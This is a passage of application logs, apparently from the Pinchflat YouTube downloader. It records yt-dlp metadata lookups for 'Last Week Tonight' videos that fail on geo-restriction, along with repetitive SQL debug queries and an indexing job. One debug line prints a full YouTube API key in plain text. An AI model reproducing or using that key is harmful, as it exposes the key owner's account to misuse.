/tmp/pinchflat/data/e9/1b/e91b78160ee4a6e22a0f3ac619ff97fcd1ad8125fe7fba174a704f03f97e20d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:17:22.495 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:17:22.496 [debug] QUERY OK source="settings" db=0.1ms idle=1388.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:22.496 [debug] QUERY OK source="settings" db=0.0ms idle=1388.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:22.496 [debug] Running yt-dlp command for action: get_media_attributes 17:17:22.498 [debug] QUERY OK source="settings" db=0.0ms idle=1390.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:22.498 [debug] QUERY OK source="settings" db=0.0ms idle=1296.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:22.498 [debug] QUERY OK source="settings" db=0.0ms idle=295.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:22.498 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e8/11/e811d02c8e82a35d38491149abae24b5919a374bcc5143be720ad9b1109be35a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:17:23.939 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e8/11/e811d02c8e82a35d38491149abae24b5919a374bcc5143be720ad9b1109be35a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:17:23.940 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:17:23.940 [debug] QUERY OK source="settings" db=0.1ms idle=736.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:23.940 [debug] QUERY OK source="settings" db=0.0ms idle=61.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:23.940 [debug] Running yt-dlp command for action: get_media_attributes 17:17:23.942 [debug] QUERY OK source="settings" db=0.0ms idle=63.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:23.942 [debug] QUERY OK source="settings" db=0.0ms idle=63.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:23.942 [debug] QUERY OK source="settings" db=0.0ms idle=63.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:23.942 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/84/a6/84a6f2f257d481a203f056d0eff063cf89aa1365899a1ef70d7a4c963595484d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:17:25.317 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/84/a6/84a6f2f257d481a203f056d0eff063cf89aa1365899a1ef70d7a4c963595484d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:17:25.317 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:17:25.318 [debug] QUERY OK source="settings" db=0.1ms idle=1375.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:25.318 [debug] QUERY OK source="settings" db=0.0ms idle=1376.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:25.318 [debug] Running yt-dlp command for action: get_media_attributes 17:17:25.319 [debug] QUERY OK source="settings" db=0.0ms idle=1376.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:25.319 [debug] QUERY OK source="settings" db=0.0ms idle=1114.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:25.319 [debug] QUERY OK source="settings" db=0.0ms idle=113.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:25.319 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/09/a3/09a3186b6d2fb8ba0126b7f28996d5944a99ea16459b43f7de6dcc09902d197b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:17:26.212 [info] {"args":{"id":36},"id":3800142,"meta":{},"system_time":1770765446212703730,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:26.213 [debug] QUERY OK source="sources" db=0.1ms idle=893.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:17:26.213 [debug] QUERY OK source="settings" db=0.1ms idle=893.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:26.213 [debug] QUERY OK source="media_profiles" db=0.1ms idle=893.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:26.213 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:26.213 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:17:26.213 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:26.213 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:26.357 [debug] QUERY OK source="media_items" db=0.6ms idle=143.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", 